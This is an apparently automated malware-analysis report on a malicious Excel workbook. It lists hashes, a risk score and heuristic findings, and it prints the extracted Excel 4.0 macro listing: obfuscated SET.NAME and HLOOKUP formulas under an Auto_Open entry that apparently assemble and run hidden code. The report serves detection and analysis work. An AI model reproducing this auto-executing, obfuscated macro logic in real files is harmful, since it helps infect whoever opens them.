Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1c405089b2f42f1c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:39 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 74bc2223840751a081e1ab701eeb1dfd SHA-1: 66646a3f9607993ee07b36a71e172324c77a8869 SHA-256: 1c405089b2f42f1c73b3af5e85a389032da360bb3a40b444edf93d9476305053
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6590 bytes
SHA-256: 0d70a7653099404aab1891db925c35239cc791a839e47b52cdb9a2175bf82072
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  xsy
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E145 
' 0018     22 LABEL : Cell Value, String Constant - crDfaUK len=0 
' 0018     24 LABEL : Cell Value, String Constant - cshKimkjt len=0 
' 0018     26 LABEL : Cell Value, String Constant - dZZGNqUEMOV len=0 
' 0018     20 LABEL : Cell Value, String Constant - GAywq len=0 
' 0018     24 LABEL : Cell Value, String Constant - GYyyyytaC len=0 
' 0018     22 LABEL : Cell Value, String Constant - HaWAyec len=0 
' 0018     21 LABEL : Cell Value, String Constant - HRhqaW len=0 
' 0018     21 LABEL : Cell Value, String Constant - iWyeCe len=0 
' 0018     20 LABEL : Cell Value, String Constant - jfEwy len=0 
' 0018     23 LABEL : Cell Value, String Constant - lAPvuSGE len=0 
' 0018     24 LABEL : Cell Value, String Constant - LDGRXLPWG len=0 
' 0018     24 LABEL : Cell Value, String Constant - lSDowocFy len=0 
' 0018     22 LABEL : Cell Value, String Constant - pMfIBoC len=0 
' 0018     25 LABEL : Cell Value, String Constant - pPvctYCDDn len=0 
' 0018     23 LABEL : Cell Value, String Constant - RWfDGemF len=0 
' 0018     23 LABEL : Cell Value, String Constant - uYnMnAWQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - XYRshP len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZdhDqyKaiz len=0 
' 0018     25 LABEL : Cell Value, String Constant - zhGQiirgsz len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZmDYcSbDZBQI len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  xsy,E57,"SET.NAME("RWfDGemF",0+VALUE("0"))",""
'  xsy,E61,"SET.NAME("GYyyyytaC",RWfDGemF)",""
'  xsy,E66,"SET.NAME("dZZGNqUEMOV",RWfDGemF)",""
'  xsy,E70,"SET.NAME("lSDowocFy",COUNTA(zhGQiirgsz))",""
'  xsy,E75,"SET.NAME("GAywq",COUNTA(iWyeCe))",""
'  xsy,P76,"",204.00000000000000000000
'  xsy,P77,"",936.00000000000000000000
'  xsy,E78,[],""
'  xsy,P78,"",-572.00000000000000000000
'  xsy,P79,"",-188.00000000000000000000
'  xsy,P80,"",-181.00000000000000000000
'  xsy,P81,"",-810.00000000000000000000
'  xsy,E83,"SET.NAME("uYnMnAWQ","")",""
'  xsy,E87,"GYyyyytaC",""
'  xsy,E92,"SET.NAME("jfEwy",HLOOKUP("*",zhGQiirgsz,GYyyyytaC,FALSE))",""
'  xsy,E95,"HRhqaW",""
'  xsy,E97,"SET.NAME("XYRshP",RWfDGemF)",""
'  xsy,E102,[],""
'  xsy,E105,"XYRshP",""
'  xsy,E107,"crDfaUK",""
'  xsy,E110,"cshKimkjt",""
'  xsy,E112,"pPvctYCDDn",""
'  xsy,E116,"SET.NAME("ZmDYcSbDZBQI",VALUE(HLOOKUP("*",iWyeCe,pPvctYCDDn,FALSE)))",""
'  xsy,E118,"LDGRXLPWG",""
'  xsy,E121,"uYnMnAWQ",""
'  xsy,E124,"dZZGNqUEMOV",""
'  xsy,E128,NEXT(),""
'  xsy,E131,"HaWAyec",""
'  xsy,E133,[],""
'  xsy,E135,"pMfIBoC",""
'  xsy,E139,NEXT(),""
'  xsy,E141,RETURN(),""
'  xsy,E166,"SET.NAME("ZdhDqyKaiz",E57)",""
'  xsy,E168,"zhGQiirgsz",""
'  xsy,E171,"SET.NAME("iWyeCe",R84C12)",""
'  xsy,E176,"SET.NAME("pMfIBoC",185)",""
'  xsy,E179,"SET.NAME("lAPvuSGE",5)",""
'  xsy,E184,ZdhDqyKaiz(),""
'  xsy,E185,HALT(),""

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